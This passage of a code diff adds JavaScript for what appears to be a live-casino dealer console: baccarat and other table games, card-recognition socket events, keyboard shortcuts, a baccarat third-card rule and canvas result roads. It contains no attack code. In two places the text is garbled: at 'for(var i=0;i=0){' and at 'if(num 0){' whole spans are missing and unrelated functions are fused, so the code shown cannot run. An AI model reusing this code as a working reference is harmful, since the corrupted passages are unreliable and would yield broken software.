table_id){ + $('#toning_result').val(""); + $('.toning-result-num').removeClass("active"); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideToningBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDice',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#dice_result').val(""); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideDiceBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +//事件返回********************************************************************************************************************* + +// 识别Socket +var sbSocket = io(localSbServer,{transports: ['websocket']}); +sbSocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); + +sbSocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); + +// 加入识别服务 +sbSocket.on('joinEvent', function(data) { + if (data.code == 200 && data.type == 'SYS' && data.tableCode == casinoTableId) { + //layer.msg('Connect SB Server Success'); + } else { + layer.msg('Connect Faild. Please double check the sb server'); + } +}); + +// 启动识别响应事件 +sbSocket.on('startEvent', function(data) { + // 200: 启动成功 + // 500: 设备离线 + // 501: 参数错误 + if (data.code != 200) { + layer.msg(data.msg); + } + +}); + +// 停止识别响应事件 +sbSocket.on('stopEvent', function(data) { + // 200: 停止成功 + // 500: 设备离线 + // 501: 参数错误 + if (data.code != 200) { + layer.msg(data.msg); + } +}); + +var sbCardsInfo = [[], [], [], [], [], []]; +var CONFIRM_TIMES = 1; + +//CardsInfo[0]['card'] = ''; +//sbCardsInfo[0]['tims'] = 0; + +// 数据接收事件 +sbSocket.on('dataEvent', function(data) { + // tableType == 'ONE', 单张识别 + // count: 画框数,6 + // tableCode: casinoTableId + if (data.tableType == 'ONE' && data.tableCode == casinoTableId && data.biz != undefined && data.biz == number_tab_id) { + data.data.forEach(function(value, index) { + if (value.card != 'None' && value.card != '') { + var query = new Object(); + query.card = cardToServer(value.card); + if (query.card != 'None') { + if (!('card' in sbCardsInfo[index]) || !('time' in sbCardsInfo[index])) { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } else { + if (sbCardsInfo[index]['card'] == query.card && sbCardsInfo[index]['time'] >= CONFIRM_TIMES) { + if (index < 4) { + query.position = position[value.index - 1]; + sendScanBaccarat(query); + } else { + var info = isBopai(card_info); + if (index == 4) { + if (info['is_bopai'] && info['player_3'] == 1) { + query.position = position[4]; + sendScanBaccarat(query); + } + } else { + if (info['is_bopai'] && info['banker_3'] == 1) { + //if (info['player_3'] == 1) { + if (card_info.length > 4) { + query.position = position[5]; + } else { + query.position = position[4]; + } + sendScanBaccarat(query); + } + } + } + } else { + if (sbCardsInfo[index]['card'] == query.card) { + sbCardsInfo[index]['time']++; + } else { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } + } + + } + + } + + } + + }); + } +}); +// 收到指定下标数据 +sbSocket.on('scanCardWithIndexEvent', function(data) { + +}); + +// 收到范围下标数据 +sbSocket.on('dataWithAllCardsEvent', function(data) { + +}); +/* +// 数据接收事件 +sbSocket.on('dataWithAllCardsEvent', function(data) { + // tableType == 'ONE', 单张识别 + // count: 画框数,6 + // tableCode: casinoTableId + if (data.tableType == 'ONE' && data.tableCode == casinoTableId) { + data.data.forEach(function(value) { + if (value.card != 'None') { + var query = new Object(); + query.card = cardToServer(value.card); + query.position = position[value.index - 1]; + sendScanBaccarat(query); + } + + }); + } +}); +*/ + + +sbSocket.emit('join', { 'tableCode':casinoTableId, 'type':'SYS'}); + + + +//启动执行 +$(function(){ + getLang(); + //视频处理 + $("#video-iframe").attr("src",player+'?url='+flvUrl); + $(document).keydown(function (e){ + if(e.keyCode == 13){ + + var cookieValue = $.cookie("enter_time"); + if(!cookieValue){ + $.cookie("enter_time", 1, { expires: 1/86400*3 }); + }else{ + layer.msg('Please hold on'); + return false + } + + if(isCBoot == true){ + $('.layui-layer-btn0').click(); + isCBoot = false; + }else{ + //var keycode = $('#keycode').val(); + var numberTabStatus = $('#number_tab_status').val(); + //if(keycode == '6'){ + if (numberTabStatus == 0) { + if(!isopentime){ + var is_rob = $('#is_rob').val(); + if(is_rob == 1){ + startRob(); + }else{ + startBet(); + } + $('#keycode').val(''); + }else{ + layer.msg("请稍等!"); + } + }else if (numberTabStatus == 2) { + opening(); + } + } + } + //开局 + if(e.keyCode == 111){ + $('#keycode').val('6'); + } + //修改当前状态 + if(e.keyCode == 109){ + $('#update_ludan').toggle(); + } + //换靴 + if(e.keyCode == 107){ + changeBoot(); + $('#keycode').val(''); + } + //退出登录 + if(e.keyCode == 106){ + if(table_type == 1){ + cutout(); + $('#keycode').val(''); + }else{ + if(bet_type == 2){ + cutout(); + $('#keycode').val(''); + }else{ + loginout(); + $('#keycode').val(''); + } + } + } + //取消 + if(e.keyCode == 110){ + $('.layui-layer-btn1').click(); + } + // 停止倒计时 + if(e.keyCode == 96){ + if(game_id == 5 || game_id == 4){ + var number_rob_status=$("#number_rob_status").val(); + var number_tab_status=$("#number_tab_status").val(); + if((number_rob_status==1&&number_tab_status==0)||(number_rob_status==2&&number_tab_status==0)){ + endRob(); + }else{ + endBet(); + } + }else{ + endBet(); + } + } + if(game_id == 6){ + if (e.keyCode == 96 || e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100){ + var result_num = -1; + switch (e.keyCode){ + case 96: + result_num = 0; + break; + case 97: + result_num = 1; + break; + case 98: + result_num = 2; + break; + case 99: + result_num = 3; + break; + case 100: + result_num = 4; + break; + } + if(result_num >= 0){ + $('#toning_result').val(result_num); + $(".toning-result-" + result_num).addClass("active").siblings().removeClass("active"); + } + } + } + // 骰宝结果选择 + if (game_id == 7){ + console.log(e.keyCode); + if (e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100 || e.keyCode == 101 || e.keyCode == 102){ + var num = 0; + switch (e.keyCode){ + case 97: + num = 1; + break; + case 98: + num = 2; + break; + case 99: + num = 3; + break; + case 100: + num = 4; + break; + case 101: + num = 5; + break; + case 102: + num = 6; + break; + } + if (num > 0){ + var resultString = $('#dice_result').val(); + var resultArray = []; + if (resultString != ''){ + resultArray = resultString.split(","); + } + if (resultArray.length < 3){ + resultArray.push(num); + if (resultArray.length == 1){ + $('#dice_item_1 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 2) { + $('#dice_item_2 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 3){ + $('#dice_item_3 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } + $('#dice_result').val(resultArray.join(",")); + } + } + } else if (e.keyCode == 109){ + $('#dice_result').val(''); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + } + } + }) + $(window).resize(function(){ + requestData(ludan); + }) + audio.addEventListener("ended", nextAudio); + getTime(); + // 日期 + setInterval(function(){ + getTime(); + }, 1000); + // 侧栏控台 + $(".control-box").hover(function(){ + $(".control-box").stop().animate({right:"0"}) + },function(){ + $(".control-box").stop().animate({right:"-410px"}) + }) + // 多语言切换 + $('#language').change(function(){ + var language = $('#language').val(); + if(language == "cn" || language == "tw" || language == "en"){ + $.get("/index/lang?lang="+language,function(data){ + location.reload(); + }) + } + }); + $("#confirm_update_ludan").click(function (){ + retreated(); + }); + $("#cancel_update_ludan").click(function (){ + $('#update_ludan').hide(); + }); + // 色碟方法 + $('.toning-result-num').click(function () { + $('#toning_result').val(parseInt($(this).html())); + $(this).addClass("active").siblings().removeClass("active"); + }) + + // 牛牛识别 + if (scanner_type == 2) { + $('.begincard .card').find(".face").on('click', function() { + openAllCardsPanel(this); + }); + } + +}) +function loginout(){ + isCBoot = true; + layer.confirm(lang.is_to_logout,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + window.location.href='/login/logout'; + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); +}; +function showPng(opening, pair){ + if(opening == 1 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/banker.png'); + mp3List = ['banker_win.mp3']; + } + if(opening == 1 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/banker_bpair.png'); + mp3List = ['banker_win.mp3','banker_pair.mp3']; + } + if(opening == 1 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/banker_ppair.png'); + mp3List = ['banker_win.mp3','player_pair.mp3']; + } + if(opening == 1 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/banker_bpair_ppair.png'); + mp3List = ['banker_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + if(opening == 2 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/player.png'); + mp3List = ['player_win.mp3']; + + } + if(opening == 2 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/player_bpair.png'); + mp3List = ['player_win.mp3','banker_pair.mp3']; + } + if(opening == 2 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/player_ppair.png'); + mp3List = ['player_win.mp3','player_pair.mp3']; + } + if(opening == 2 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/player_bpair_ppair.png'); + mp3List = ['player_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + if(opening == 3 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/tie.png'); + mp3List = ['tie.mp3']; + } + if(opening == 3 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/tie_bpair.png'); + mp3List = ['tie.mp3','banker_pair.mp3']; + } + if(opening == 3 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/tie_ppair.png'); + mp3List = ['tie.mp3','player_pair.mp3']; + } + if(opening == 3 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/tie_bpair_ppair.png'); + mp3List = ['tie.mp3','banker_pair.mp3','player_pair.mp3']; + } + audioMp3(mp3List).Play(); +} + +function showPngDt (opening){ + if(opening == 1) { + $('#openingPng').attr('src','/static/handle/img/dragon_win.png'); + mp3List = ['dragon_win.mp3']; + } + if(opening == 2) { + $('#openingPng').attr('src','/static/handle/img/tiger_win.png'); + mp3List = ['tiger_win.mp3']; + } + if(opening == 3) { + $('#openingPng').attr('src','/static/handle/img/tie.png'); + mp3List = ['tie.mp3']; + } + audioMp3(mp3List).Play(); +} + +function gameResult(data){ + var result_imgsrc='',Result=''; + switch(true){ + case data.round.opening==1:// 庄 + Result='banker'; + $(".begincard .card-box .banker-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==2:// 闲 + Result='player'; + $(".begincard .card-box .player-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==3:// 和 + Result='tie' + break; + } + if(data.round.pair==1){ + result_imgsrc=Result+'_bpair' + }else if(data.round.pair==2){ + result_imgsrc=Result+'_ppair' + }else if(data.round.pair==3){ + result_imgsrc=Result+'_bpair_ppair' + }else{ + result_imgsrc=Result + } + var src='/static/result_img/'+result_imgsrc+'.png' + $(".begincard .player-card .draw .text ").html(lang.player_all+' '+data.round.player+' '+lang.point) + $(".begincard .banker-card .draw .text ").html(lang.banker_all+' '+data.round.banker+' '+lang.point); + $('#openingElement').show(); + $('#openingElement').addClass("blink"); + isopentime=true; + setTimeout(function(){ + + $('#openingElement').removeClass("blink"); + $('#openingElement').hide(); + },3000) + // 清除状态 + card_info=[];///清除牌数据 + setTimeout(function(){ + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard .card-box .list").removeClass("win"); + $(".begincard").fadeOut(function(){ isopentime=false;}); + $(".begincard .list .draw .text").css("text-align","center") + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html(""); + $(".begincard .box .list .card").find(".face").css("background-image","url('/static/handle/img/faces.png')") + $(".begincard .box .list .draw .card").find(".face").css("background-image","url('/static/handle/img/faces1.png')") + $(".begincard .list .draw .rotate").css("display",'none') + $(".table-info .nobegin-tip").fadeIn(); + + }) + },5000) +} +function gameResultNn(data){ + isWin.win_player_1=data.round.win_player_1; + isWin.win_player_2=data.round.win_player_2; + isWin.win_player_3=data.round.win_player_3; + var newmp3List=[]; + if(data.round.win_player_1==1){ + newmp3List.push('nn_X1.wav'); + isWin.text.push("P1"); + $(".begincard .box2").addClass("win"); + } + if(data.round.win_player_2==1){ + newmp3List.push('nn_X2.wav'); + isWin.text.push("P2"); + $(".begincard .box3").addClass("win"); + } + if(data.round.win_player_3==1){ + newmp3List.push('nn_X3.wav'); + isWin.text.push("P3"); + $(".begincard .box4").addClass("win"); + } + if(data.round.win_player_1==0&&data.round.win_player_2==0&&data.round.win_player_3==0){ + newmp3List.push('nn_Zwin.wav'); + isWin.text.push("B"); + $(".begincard .box1").addClass("win"); + } + var str=isWin.text.length==0?'Banker':isWin.text.join('、')+" Win"; + $(".begincard .win-tip").html(str); + $(".begincard .win-tip").addClass("show"); + let mp3List = newmp3List; + audioMp3(mp3List).Play(); + + isopentime=true; + + setTimeout(function(){ + $(".begincard .win-tip").removeClass("show");isWin.text=[]; + },3000); + setTimeout(function(){ + $(".begincard").fadeOut(function(){ + isopentime=false; + $(".begincard .box").animate({"opacity":"0"}); + $(".begincard .box1").animate({"top":"100%","opacity":"0"}); + $(".begincard .box2").animate({"top":"100%","opacity":"0"}); + $(".begincard .box3").animate({"top":"100%","opacity":"0"}); + $(".begincard .box4").animate({"top":"100%","opacity":"0"}); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + //清空牌数据 + $(".begincard div").removeClass("win"); + $(".list .card .face").css("background-image",""); + }); + },5000); +} +//获取当前语言包 +function getLang(){ + $.ajax({ + url:"/index/get_lang", + type:"POST", + dataType:"JSON", + async:false, + success:function(data){ + if(data.status === 1){ + lang = data.lang; + } + } + }) +} +//倒计时 +function countDown(time) { + $(".countdown .num").html(time) + $(".countdown").css({"opacity":1,"display":"block"}); + $(".countdown .grab-count").addClass("count-active"); + if(time == 10){ + mp3List = ['time_tip_10.mp3']; + audioMp3(mp3List).Play(); + } + if(time < 9 && time > 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + return; + } +} +//播放声音 +function audioMp3(mp3List){ + var mp3=new Object(); + mp3.mp3List=mp3List; + mp3.url="/static/handle/mp3/"; + mp3.auto_play=false; + mp3.loop=false; + mp3.Play=function(){ + audio.src=this.url+this.mp3List[0]; + audio.play(); + } + mp3.Muted=function(){ + audio.muted ? audio.muted = false : audio.muted = true; + } + mp3.volumeAdd=function(){ + if(audio.volume.toFixed(1)>=1){ + audio.volume=1 + }else{ + audio.volume = audio.volume + 0.1; + } + } + mp3.volumeMinus=function(){ + if(audio.volume.toFixed(1)<=0){ + audio.volume=0 + }else{ + audio.volume = audio.volume - 0.1; + } + } + return mp3; +} +//显示牌面 +var showCard = function(showCard){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }); + $.each(showCard,function(i,v){ + if(v.number!=false){ + var _thisdata={"status":true,round:v} + Flop(_thisdata); + } + }) +} +//是否显示补牌 +function isShowSupport(isSupport){ + if(isSupport.is_bopai){ + if(isSupport.player_3 == 1){ + $('.begincard .player-card .draw .rotate').css("display","inline-block") + } + if(isSupport.banker_3 == 1){ + $('.begincard .banker-card .draw .rotate').css("display","inline-block") + } + } else { + if (card_info.length <= 4) { + $('.begincard .player-card .draw .rotate').css("display","none"); + } + + } +} +function Flop(data){ + var whichpoker='',pokerindex='',pokercard=''; + if(data.status==true){ + var which = data.round.position; + if(game_id == 1){ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=1; + card_info["player_2"]=data.round.number; + break; + case 12: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 13: + whichpoker='player-card'; + pokerindex=2; + card_info["player_3"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=1; + card_info["banker_2"]=data.round.number; + break; + case 22: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + case 23: + whichpoker='banker-card'; + card_info["banker_3"]=data.round.number; + pokerindex=2; + break; + } + }else{ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + } + } + + if(game_id==1){ + let support = isBopai(card_info); + isShowSupport(support); + } + pokercard = data.round.card; + var $poker = $('.begincard '+'.'+ whichpoker+' .card'); + var pokersrc="/static/handle/faces/"+pokercard+".svg"; + if(pokercard<200){ + var color="#000" + }else if(pokercard<300){ + var color="#f13b3d" + }else if(pokercard<400){ + var color="#000" + }else if(pokercard<500){ + var color="#f13b3d" + } + if(data.round.number == 1){ + data.round.number = "A"; + } + if(data.round.number == 11){ + data.round.number = "J"; + } + if(data.round.number == 12){ + data.round.number = "Q"; + } + if(data.round.number == 13){ + data.round.number = "K"; + } + $poker.eq(pokerindex).find(".topleft").html(data.round.number); + $poker.eq(pokerindex).find(".bottomright").html(data.round.number); + $poker.eq(pokerindex).find(".topleft").css("color",color); + $poker.eq(pokerindex).find(".bottomright").css("color",color); + + if(pokerindex==2){ + $('.begincard '+'.'+ whichpoker +' .draw .rotate').css("display","inline-block"); + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + $(".begincard .banker-card .draw .text").css("text-align","left"); + $(".begincard .player-card .draw .text").css("text-align","right"); + }else{ + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + } + } +} +//百家乐判断是否要博牌 +function isBopai(card_info){ + card_info["length"]=0; + for( var i in card_info) { card_info["length"]++; } + var bopai_info = Array(3); + if(card_info.length<4){ + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + card_info=[]; + return bopai_info; + } + else { + if (card_info['banker_1'] > 10) { + card_info['banker_1'] = 10; + } + if (card_info['banker_2'] > 10) { + card_info['banker_2'] = 10; + } + if (card_info['banker_3'] > 10) { + card_info['banker_3'] = 10; + } + if (card_info['player_1'] > 10) { + card_info['player_1'] = 10; + } + if (card_info['player_2'] > 10) { + card_info['player_2'] = 10; + } + if (card_info['player_3'] > 10) { + card_info['player_3'] = 10; + } + var card_length = card_info.length; + var banker_result = (card_info['banker_1'] + card_info['banker_2']) % 10; + var player_result = (card_info['player_1'] + card_info['player_2']) % 10; + if (card_length == 4) { + if (player_result == 8 || player_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + else if (banker_result == 8 || banker_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + else if (player_result == 0 || player_result == 1 || player_result == 2 || player_result == 3 || player_result == 4 || player_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 1; + + } + else if (banker_result == 0 || banker_result == 1 || banker_result == 2 || banker_result == 3 || banker_result == 4 || banker_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (player_result == 6 || player_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + } + else if (card_length == 5) { + if (card_info['player_3'] > 0) { + if (banker_result == 0 || banker_result == 1 || banker_result == 2) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (banker_result == 3) { + if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 8) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 4) { + if (card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 5) { + if (card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 6) { + if (card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } else { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + card_info=[]; + return bopai_info; + } +} +var showCardNn = function(data){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + }); + card_number_info = data; + if(card_number_info.length > 0){ + for(var i=0;i=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + } + $('#number_tab_status').val(BetStatus.bet_status); + if(BetStatus.bet_status==2){ + if (game_id == 6){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showToningBox(); + } else if(game_id == 7){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showDiceBox(); + } else { + $(".begincard").fadeIn(function(){ + if(game_id==1||game_id==2){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }else if(game_id==4||game_id==5){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + } + $('.nobegin-tip').html(""); + $('#show-status-span').html(lang[BetStatus.bet_msg]); + }); + } + }else if(BetStatus.bet_status==1){ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + }else{ + $('.nobegin-tip').html(lang[BetStatus.bet_msg]); + $('#show-status-span').html(""); + if(game_id == 5||game_id == 4){ + if(BetStatus.rob_status == 1){ + if(BetStatus.rob_status>=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + $('.nobegin-tip').html('抢庄中'); + }else if(BetStatus.rob_status == 2){ + if(BetStatus.rob_status>=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + $('.nobegin-tip').html('抢庄结束,开始下注'); + } + } + } +}; +// 获取桌子数据 +var setNumberInfo = function (round){ + number_tab_id = round.number_tab_id + $('#boot_num').html(round.boot_num); + $('#number').html(round.number_tab_number); + $('#boot_id').val(round.boot_id); +}; +// 重置下注数目 +var clearBetAmount = function (){ + $('#banker_amount').html(0); + $('#player_amount').html(0); + $('#tie_amount').html(0); + $('#banker_pair_amount').html(0); + $('#player_pair_amount').html(0); + $('#all_amount').html(0); +}; +//修改或者删除录单后从新获取number +var getNumber = function (){ + var query = new Object(); + query.number_tab_id = number_tab_id; + $.ajax({ + url:"/index/get_number", + type:"POST", + dataType:"JSON", + data:query, + async:false, + success:function(data){ + if(data.status == 1){ + $('#number').html(data.data); + } + } + }) +}; +function nextAudio(){ + num+=1 + if(num 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + // mp3List = ['end_rob.mp3']; + // audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + webSocket.send('{"connect":"space","mode":"endRob","number_tab_id":"'+parseInt(number_tab_id)+'","table_id":"'+parseInt(table_id)+'"}'); + return; + } +} +function getTime() { + var today = new Date(); + var h = today.getHours(); + var minute = today.getMinutes() + var s = today.getSeconds(); + if (h < 10) { + h = "0" + h; + } + if (minute < 10) { + minute = "0" + minute; + } + if (s < 10) { + s = "0" + s; + } + if(lang.lang == 'en-us'){ + var strDate = new Date(); + strDate = strDate.toDateString() + strDate += " " + h + ":" + minute + ":" + s; + }else if(lang.lang == 'zh-cn'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + }else if(lang.lang == 'zh-tw'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + } + var n_day = today.getDay(); + switch (n_day) { + case 0: + var week = lang.sunday; + break; + case 1: + var week = lang.monday; + break; + case 2: + var week = lang.tuesday; + break; + case 3: + var week = lang.wednesday; + break; + case 4: + var week = lang.thursday; + break; + case 5: + var week = lang.friday; + break; + case 6: + var week = lang.saturday; + break; + case 7: + var week = lang.sunday; + break; + } + $('.date .weekend').html(week); + $('.date .time').html(strDate); +} +// 请求所有路单数据,执行画布刷新 +function waybillFunc(){ + var data = new Object; + data.boot_id = $('#boot_id').val(); + data.game_id = game_id; + var url="" + if(game_id==1||game_id==2){url="/index/waybill"} + else if(game_id==4||game_id==5){url="/index/waybill_nn"} + else if(game_id==6){url="/index/waybill_toning"} + $.ajax({ + url:url, + type:"POST", + dataType:"JSON", + data:data, + success:function(data){ + ludan = data; + requestData(ludan); + } + }); +} +function title(ctb,unit,x,y,type){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + fonts= 'Banker'; + var font_color = '#b20a00'; + }else if(type==2){ + fonts= 'P1'; + var font_color = '#0543bc'; + }else if(type==3){ + fonts= 'P2'; + var font_color = '#0543bc'; + }else if(type==4){ + fonts= 'P3'; + var font_color = '#0543bc'; + } + if(type == 1){ + var color = '#ffad97'; + }else{ + var color = '#73d8f7'; + } + //背景色 + ctb.fillStyle = color ; // 颜色 + ctb.fillRect(x,(y-1)*unit,unit*2-1,unit-0.5); + ctb.fill(); + //文字 + ctb.font=unit*0.5+"px Arial";//字的大小 + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x/2),radius+unit*(y-1)); + ctb.stroke(); +} +function requestData(data,ask,askroad){ + var ask=ask||false; + var askroad=askroad||{ + "askshowroad":false, + "askbigRoad":false, + "askbigEyeRoad":false, + "askpathway":false, + "askroach":false, + }; + bigH=$(".canvas-box.big").height(); + bigW=$(".canvas-box.big").width(); + // 计算单位 + unitbig=bigH/6; + // 计算列个数 + colbig=Math.floor(bigW/unitbig); + if(game_id==1){ CanvasTable("#canvas3",unitbig,6,colbig,data,ask,askroad);} + else if(game_id==2){CanvasTableDt("#canvas3",unitbig,6,colbig,data,ask,askroad);} + else if(game_id==4||game_id==5){ + unitbig=bigH/8; + colbig=Math.floor(bigW/unitbig); + if(colbig%2 == 1){ + colbig = colbig - 1; + } + CanvasTableNn("#canvas3",unitbig,8,colbig,data); + }else if(game_id==6){CanvasTableToning("#canvas3",unitbig,6,colbig,data,ask,askroad);} +} +/////百家乐珠路 +function CanvasTable(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + 